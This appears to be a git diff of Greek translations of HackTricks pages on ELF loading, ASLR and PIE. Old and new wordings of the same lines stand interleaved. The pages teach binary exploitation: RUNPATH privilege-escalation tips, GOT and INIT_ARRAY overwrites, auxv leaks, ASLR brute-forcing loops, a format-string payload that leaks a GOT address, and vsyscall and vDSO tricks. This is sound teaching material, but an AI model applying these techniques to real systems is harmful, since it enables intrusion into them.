Το `$ORIGIN` μπορεί να χρησιμοποιηθεί μέσα στο RPATH/RUNPATH για να αναφέρεται στον κατάλογο του κύριου αντικειμένου. Από την οπτική γωνία ενός επιτιθέμενου, αυτό έχει σημασία όταν ελέγχετε τη διάταξη του συστήματος αρχείων ή το περιβάλλον. Για σκληρυμένα δυαδικά αρχεία (AT_SECURE), οι περισσότερες μεταβλητές περιβάλλοντος αγνοούνται από τον φορτωτή.
- Εξετάστε με: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
- Γρήγορη δοκιμή: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (δείχνει αποφάσεις διαδρομής αναζήτησης)
> Συμβουλή για Priv-esc: Προτιμήστε να εκμεταλλευτείτε τα εγγράψιμα RUNPATH ή τα κακώς ρυθμισμένα μονοπάτια σχετικά με το `$ORIGIN` που ανήκουν σε εσάς. Οι LD_PRELOAD/LD_AUDIT αγνοούνται σε περιβάλλοντα ασφαλούς εκτέλεσης (setuid).
> Συμβουλή για Priv-esc: Προτιμήστε να εκμεταλλευτείτε τα εγγράψιμα RUNPATHs ή τα κακώς ρυθμισμένα μονοπάτια σχετικά με το `$ORIGIN` που ανήκουν σε εσάς. Οι LD_PRELOAD/LD_AUDIT αγνοούνται σε περιβάλλοντα ασφαλούς εκτέλεσης (setuid).
## Μετατοπίσεις
## Μεταθέσεις
Ο φορτωτής πρέπει επίσης να μετατοπίσει τις εξαρτήσεις αφού τις έχει φορτώσει. Αυτές οι μετατοπίσεις υποδεικνύονται στον πίνακα μετατοπίσεων σε μορφές REL ή RELA και ο αριθμός των μετατοπίσεων δίνεται στις δυναμικές ενότητες RELSZ ή RELASZ.
Ο φορτωτής πρέπει επίσης να μεταθέσει τις εξαρτήσεις αφού τις έχει φορτώσει. Αυτές οι μεταθέσεις υποδεικνύονται στον πίνακα μεταθέσεων σε μορφές REL ή RELA και ο αριθμός των μεταθέσεων δίνεται στις δυναμικές ενότητες RELSZ ή RELASZ.
```
readelf -r lnstat
@ -360,15 +360,15 @@ Offset Info Type Sym. Value Sym. Name + Addend
#### Σύγχρονη συμπεριφορά σύνδεσης που επηρεάζει την εκμετάλλευση
- `-z now` (Full RELRO) απενεργοποιεί την καθυστερημένη σύνδεση; οι καταχωρήσεις PLT εξακολουθούν να υπάρχουν αλλά ο GOT/PLT είναι χαρτογραφημένος σε μόνο ανάγνωση, οπότε τεχνικές όπως **GOT overwrite** και **ret2dlresolve** δεν θα λειτουργήσουν κατά του κύριου δυαδικού (οι βιβλιοθήκες μπορεί να είναι ακόμα μερικώς RELRO). Δείτε:
- `-z now` (Πλήρης RELRO) απενεργοποιεί την καθυστερημένη σύνδεση; οι καταχωρήσεις PLT εξακολουθούν να υπάρχουν αλλά ο GOT/PLT είναι χαρτογραφημένος σε μόνο ανάγνωση, οπότε τεχνικές όπως **GOT overwrite** και **ret2dlresolve** δεν θα λειτουργήσουν κατά του κύριου δυαδικού (οι βιβλιοθήκες μπορεί να είναι ακόμα μερικώς RELRO). Δείτε:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
- `-fno-plt` κάνει τον μεταγλωττιστή να καλεί εξωτερικές συναρτήσεις μέσω της **καταχώρησης GOT απευθείας** αντί να περνά από το stub του PLT. Θα δείτε ακολουθίες κλήσεων όπως `mov reg, [got]; call reg` αντί για `call func@plt`. Αυτό μειώνει την κατάχρηση της υποθετικής εκτέλεσης και αλλάζει ελαφρώς την αναζήτηση ROP gadget γύρω από τα stubs του PLT.
- -fno-plt κάνει τον μεταγλωττιστή να καλεί εξωτερικές συναρτήσεις μέσω της **καταχώρησης GOT απευθείας** αντί να περνάει από το stub του PLT. Θα δείτε ακολουθίες κλήσεων όπως mov reg, [got]; call reg αντί για call func@plt. Αυτό μειώνει την κατάχρηση της υποθετικής εκτέλεσης και αλλάζει ελαφρώς την αναζήτηση ROP gadget γύρω από τα stubs του PLT.
- PIE vs static-PIE: Το PIE (ET_DYN με `INTERP`) χρειάζεται τον δυναμικό φορτωτή και υποστηρίζει τη συνήθη μηχανική PLT/GOT. Το Static-PIE (ET_DYN χωρίς `INTERP`) έχει μεταθέσεις που εφαρμόζονται από τον φορτωτή του πυρήνα και κανένα `ld.so`; αναμένετε καμία επίλυση PLT κατά την εκτέλεση.
- PIE vs static-PIE: Το PIE (ET_DYN με INTERP) χρειάζεται τον δυναμικό φορτωτή και υποστηρίζει τη συνήθη μηχανική PLT/GOT. Το Static-PIE (ET_DYN χωρίς INTERP) έχει μεταθέσεις που εφαρμόζονται από τον φορτωτή του πυρήνα και όχι ld.so; περιμένετε καμία επίλυση PLT κατά την εκτέλεση.
> Αν το GOT/PLT δεν είναι επιλογή, μεταβείτε σε άλλους γράψιμους δείκτες κώδικα ή χρησιμοποιήστε κλασικό ROP/SROP στο libc.
@ -378,7 +378,7 @@ Offset Info Type Sym. Value Sym. Name + Addend
## Αρχικοποίηση Προγράμματος
Αφού το πρόγραμμα έχει φορτωθεί, ήρθε η ώρα να εκτελεστεί. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα, σε C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί το main, όπως στο:
Αφού το πρόγραμμα έχει φορτωθεί, ήρθε η ώρα να τρέξει. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα, σε C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί το main, όπως στο:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
@ -406,9 +406,9 @@ return 0;
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
Από την οπτική γωνία ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της `main` συνάρτησης, είναι δυνατόν να δημιουργηθεί μια `init` συνάρτηση και μια `fini` συνάρτηση που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF.
Από την προοπτική ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της `main` συνάρτησης, είναι δυνατόν να δημιουργηθεί μια `init` συνάρτηση και μια `fini` συνάρτηση που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF.
Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις εγγραφές **`INIT_ARRAY`** και **`FINI_ARRAY`** στην δυναμική ενότητα και το μήκος αυτών υποδεικνύεται από **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε εγγραφή είναι ένας δείκτης συνάρτησης που θα καλείται χωρίς παραμέτρους.
Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις εγγραφές **`INIT_ARRAY`** και **`FINI_ARRAY`** στην δυναμική ενότητα και το μήκος τους υποδεικνύεται από **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε εγγραφή είναι ένας δείκτης συνάρτησης που θα καλείται χωρίς παραμέτρους.
Επιπλέον, είναι επίσης δυνατό να υπάρχει μια **`PREINIT_ARRAY`** με **δείκτες** που θα εκτελούνται **πριν** από τους δείκτες **`INIT_ARRAY`**.
@ -416,7 +416,8 @@ __attributte__((destructor)) //Add to the destructor list
- Κάτω από το Partial RELRO αυτές οι πίνακες βρίσκονται σε σελίδες που είναι ακόμα εγγράψιμες πριν το `ld.so` αλλάξει το `PT_GNU_RELRO` σε μόνο ανάγνωση. Αν αποκτήσετε μια αυθαίρετη εγγραφή αρκετά νωρίς ή μπορείτε να στοχεύσετε τις εγγράψιμες λίστες μιας βιβλιοθήκης, μπορείτε να αναλάβετε τον έλεγχο της ροής εκτέλεσης αντικαθιστώντας μια εγγραφή με μια συνάρτηση της επιλογής σας. Κάτω από το Full RELRO είναι μόνο για ανάγνωση κατά την εκτέλεση.
- Για κακή χρήση της καθυστερημένης σύνδεσης του δυναμικού συνδέτη για την επίλυση αυθαίρετων συμβόλων κατά την εκτέλεση, δείτε τη σελίδα που είναι αφιερωμένη:
- Για την κακή χρήση της καθυστερημένης σύνδεσης του δυναμικού συνδέτη για την επίλυση αυθαίρετων συμβόλων κατά την εκτέλεση, δείτε τη σελίδα που είναι αφιερωμένη σε αυτό:
{{#ref}}
../rop-return-oriented-programing/ret2dlresolve.md
@ -425,9 +426,9 @@ __attributte__((destructor)) //Add to the destructor list
### Σειρά Αρχικοποίησης
1. Το πρόγραμμα φορτώνεται στη μνήμη, οι στατικές παγκόσμιες μεταβλητές αρχικοποιούνται στο **`.data`** και οι μη αρχικοποιημένες μηδενίζονται στο **`.bss`**.
2. Όλες οι **εξαρτήσεις** για το πρόγραμμα ή τις βιβλιοθήκες **αρχικοποιούνται** και η **δυναμική σύνδεση** εκτελείται.
3. Οι συναρτήσεις **`PREINIT_ARRAY`** εκτελούνται.
4. Οι συναρτήσεις **`INIT_ARRAY`** εκτελούνται.
2. Όλες οι **εξαρτήσεις** για το πρόγραμμα ή τις βιβλιοθήκες **αρχικοποιούνται** και εκτελείται η **δυναμική σύνδεση**.
3. Εκτελούνται οι συναρτήσεις **`PREINIT_ARRAY`**.
4. Εκτελούνται οι συναρτήσεις **`INIT_ARRAY`**.
5. Αν υπάρχει μια εγγραφή **`INIT`**, καλείται.
6. Αν είναι μια βιβλιοθήκη, το dlopen τελειώνει εδώ, αν είναι πρόγραμμα, είναι ώρα να καλέσετε το **πραγματικό σημείο εισόδου** (συνάρτηση `main`).
@ -437,21 +438,21 @@ __attributte__((destructor)) //Add to the destructor list
Κάθε νήμα θα διατηρεί μια μοναδική τοποθεσία για αυτή τη μεταβλητή, έτσι μόνο το νήμα μπορεί να έχει πρόσβαση στη μεταβλητή του.
Όταν αυτό χρησιμοποιείται, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι όπως η `.data` (αρχικοποιημένη) και η `.bss` (μη αρχικοποιημένη) αλλά για TLS.
Όταν χρησιμοποιείται αυτό, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι παρόμοιες με τις `.data` (αρχικοποιημένες) και `.bss` (μη αρχικοποιημένες) αλλά για TLS.
Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που καθορίζει το μέγεθος και την απόσταση TLS, η οποία είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος.
Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που θα καθορίζει το μέγεθος και την απόσταση TLS, η οποία είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος.
Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή μνήμης που περιέχει όλα τα τοπικά δεδομένα νημάτων ενός module.
Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή της μνήμης που περιέχει όλα τα τοπικά δεδομένα νημάτων ενός module.
## Βοηθητικός Διανυσματικός (auxv) και vDSO
## Βοηθητικός Διανύσματος (auxv) και vDSO
Ο πυρήνας του Linux περνά έναν βοηθητικό διανυσματικό σε διαδικασίες που περιέχει χρήσιμες διευθύνσεις και σημαίες για την εκτέλεση:
Ο πυρήνας του Linux περνά έναν βοηθητικό διανύσματος σε διαδικασίες που περιέχει χρήσιμες διευθύνσεις και σημαίες για την εκτέλεση:
- `AT_RANDOM`: δείχνει σε 16 τυχαία bytes που χρησιμοποιούνται από τη glibc για το stack canary και άλλους σπόρους PRNG.
- `AT_SYSINFO_EHDR`: βασική διεύθυνση της χαρτογράφησης vDSO (χρήσιμο για να βρείτε syscalls και gadgets `__kernel_*`).
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, κ.λπ.
Ως επιτιθέμενος, αν μπορείτε να διαβάσετε μνήμη ή αρχεία κάτω από `/proc`, μπορείτε συχνά να διαρρεύσετε αυτά χωρίς διαρροή πληροφοριών στη διαδικασία στόχο:
Ως επιτιθέμενος, αν μπορείτε να διαβάσετε μνήμη ή αρχεία κάτω από `/proc`, μπορείτε συχνά να διαρρεύσετε αυτά χωρίς διαρροή πληροφοριών στη στοχοθετημένη διαδικασία:
```bash
# Show the auxv of a running process
cat /proc/$(pidof target)/auxv | xxd
@ -464,10 +465,10 @@ printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM));
printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR));
}
```
Η διαρροή του `AT_RANDOM` σας δίνει την τιμή του canary αν μπορείτε να αποδεσμεύσετε εκείνο τον δείκτη; Το `AT_SYSINFO_EHDR` σας δίνει μια βάση vDSO για να εξορύξετε gadgets ή για να καλέσετε γρήγορες syscalls απευθείας.
Leaking `AT_RANDOM` σας δίνει την τιμή του canary αν μπορείτε να αποδεσμεύσετε αυτόν τον δείκτη; `AT_SYSINFO_EHDR` σας δίνει μια βάση vDSO για να εξορύξετε gadgets ή για να καλέσετε γρήγορες syscalls απευθείας.
## Αναφορές
## References
- ld.so(8) Διάταξη αναζήτησης Dynamic Loader, RPATH/RUNPATH, κανόνες ασφαλούς εκτέλεσης (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
- getauxval(3) Auxiliary vector και AT_* σταθερές: https://man7.org/linux/man-pages/man3/getauxval.3.html
- ld.so(8) Dynamic Loader search order, RPATH/RUNPATH, secure-execution rules (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
- getauxval(3) Auxiliary vector and AT_* constants: https://man7.org/linux/man-pages/man3/getauxval.3.html
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,15 +4,15 @@
## Basic Information
**Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαίνει τις διευθύνσεις μνήμης** που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης.
**Address Space Layout Randomization (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαία τα διευθύνσεις μνήμης** που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης.
### **Checking ASLR Status**
Για να **ελέγξετε** την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το **`/proc/sys/kernel/randomize_va_space`** αρχείο. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται:
- **0**: Καμία τυχαία διάταξη. Όλα είναι στατικά.
- **1**: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαίες.
- **2**: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαίνουν από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του `brk()` είναι τυχαία.
- **1**: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαία.
- **2**: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαία διατάσσονται από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του `brk()` είναι τυχαία.
Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή:
```bash
@ -20,7 +20,7 @@ cat /proc/sys/kernel/randomize_va_space
```
### **Απενεργοποίηση ASLR**
Για να **απενεργοποιήσετε** το ASLR, ορίστε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν οι οδηγίες για την απενεργοποίησή του:
Για να **απενεργοποιήσετε** το ASLR, ορίστε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν οι οδηγίες για να το απενεργοποιήσετε:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -35,9 +35,9 @@ setarch `uname -m` -R ./bin args
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Επιμονή Μεταξύ Επανεκκινήσεων**
### **Επιμονή Κατά τη Διάρκεια Επανεκκινήσεων**
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναρυθμιστούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναφερθούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
@ -57,27 +57,27 @@ sudo sysctl -p
- **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπίας στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διαδικασία και προστίθεται στις αρχικές διευθύνσεις.
- **Μνήμη** που έχει κατανεμηθεί από το `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, ονομάζεται `delta_mmap`.
- **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί αποτελεσματικά **11 bits** (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε **16 bytes** —> Αυτό έχει ως αποτέλεσμα **524,288 δυνατές πραγματικές διευθύνσεις στοίβας**.
- **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί αποτελεσματικά **11 bits** (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε **16 bytes** —> Αυτό έχει ως αποτέλεσμα **524,288 πιθανές πραγματικές διευθύνσεις στοίβας**.
Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR δοκιμάζοντας την εκτέλεση ξανά και ξανά μέχρι να ολοκληρωθεί επιτυχώς η εκμετάλλευση.
#### Ιδέες brute-force:
- Αν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσετε μια **μεγάλη NOP sled πριν από το shellcode**, μπορείτε απλά να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή **να πηδήξει πάνω από κάποιο μέρος της NOP sled**.
- Εάν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσει μια **μεγάλη NOP sled πριν από το shellcode**, μπορείτε απλώς να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή **να πηδήξει πάνω από κάποιο μέρος της NOP sled**.
- Μια άλλη επιλογή για αυτό σε περίπτωση που η υπερχείλιση δεν είναι τόσο μεγάλη και η εκμετάλλευση μπορεί να εκτελείται τοπικά είναι να **προσθέσετε την NOP sled και το shellcode σε μια μεταβλητή περιβάλλοντος**.
- Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
- Εάν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης.
- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **brute-force τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα το 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης.
> [!TIP]
> Σε συστήματα 64bit η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα έπρεπε να είναι δυνατό.
### 64 bits stack brute-forcing
### Brute-forcing στο stack 64 bits
Είναι δυνατόν να καταλάβετε ένα μεγάλο μέρος της στοίβας με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό εκατοντάδες/χίλιες φορές τοπικά.\
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατόν να **επιλέξετε απλώς μια διεύθυνση στη στοίβα** και κάθε **μερικές εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει την **εντολή NOP**:
Είναι δυνατόν να καταλάβετε ένα μεγάλο μέρος του stack με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό εκατοντάδες/χίλιες φορές τοπικά.\
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατόν να **επιλέξετε απλώς μια διεύθυνση στο stack** και κάθε **μερικές εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει την **εντολή NOP**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
@ -190,7 +190,7 @@ p.interactive()
```
- **ret2plt**
Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα **ret2plt** για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγχος:
Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα **ret2plt** για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγξε:
{{#ref}}
ret2plt.md
@ -198,7 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
Ακριβώς όπως στο ret2plt, αν έχετε μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγετε τη διεύθυνση μιας **libc function** από το GOT. Το παρακάτω [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
Ακριβώς όπως στο ret2plt, αν έχεις μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγεις τη διεύθυνση μιας **libc function** από το GOT. Το παρακάτω [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -209,7 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την τυχαία ανάγνωση Format Strings στο:
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το Format Strings arbitrary read στο:
{{#ref}}
../../format-strings/
@ -228,7 +228,7 @@ ret2ret.md
Ο μηχανισμός **`vsyscall`** εξυπηρετεί στην ενίσχυση της απόδοσης επιτρέποντας σε ορισμένες κλήσεις συστήματος να εκτελούνται σε χώρο χρήστη, αν και είναι θεμελιωδώς μέρος του πυρήνα. Το κρίσιμο πλεονέκτημα των **vsyscalls** έγκειται στις **σταθερές διευθύνσεις** τους, οι οποίες δεν υπόκεινται σε **ASLR** (Τυχαία Διάταξη Χώρου Διευθύνσεων). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν απαιτούν μια ευπάθεια διαρροής πληροφοριών για να προσδιορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.\
Ωστόσο, δεν θα βρείτε εδώ πολύ ενδιαφέροντα gadgets (αν και για παράδειγμα είναι δυνατό να αποκτήσετε ένα ισοδύναμο `ret;`)
(Το παρακάτω παράδειγμα και ο κώδικας είναι [**από αυτή τη γραφή**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
(Το παρακάτω παράδειγμα και ο κώδικας είναι [**από αυτή τη συγγραφή**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση `0xffffffffff600800` μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια άμεσης μετάβασης σε μια εντολή `ret` μπορεί να οδηγήσει σε αστάθεια ή κρα crashes μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας `syscall` που παρέχεται από την ενότητα **vsyscall** μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα gadget **ROP** που οδηγεί την εκτέλεση σε αυτή τη διεύθυνση **vsyscall**, ένας επιτιθέμενος μπορεί να επιτύχει εκτέλεση κώδικα χωρίς να χρειάζεται να παρακάμψει το **ASLR** για αυτό το μέρος της εκμετάλλευσης.
```
@ -273,7 +273,7 @@ gef➤ x/4i 0xffffffffff600800
```
### vDSO
Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα τυχαίνει τυχαίας κατανομής. Για περισσότερες πληροφορίες ελέγξτε:
Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση του vdso δεν θα είναι τυχαία. Για περισσότερες πληροφορίες ελέγξτε:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md

View File

@ -4,7 +4,7 @@
## Basic Information
Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές διευθύνσεις μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις.
Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές τοποθεσίες μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις.
Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές αποστάσεις** τους.
@ -13,17 +13,18 @@
## Bypasses
Για να παρακάμψετε το PIE χρειάζεται να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό:
Για να παρακάμψετε το PIE είναι απαραίτητο να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό:
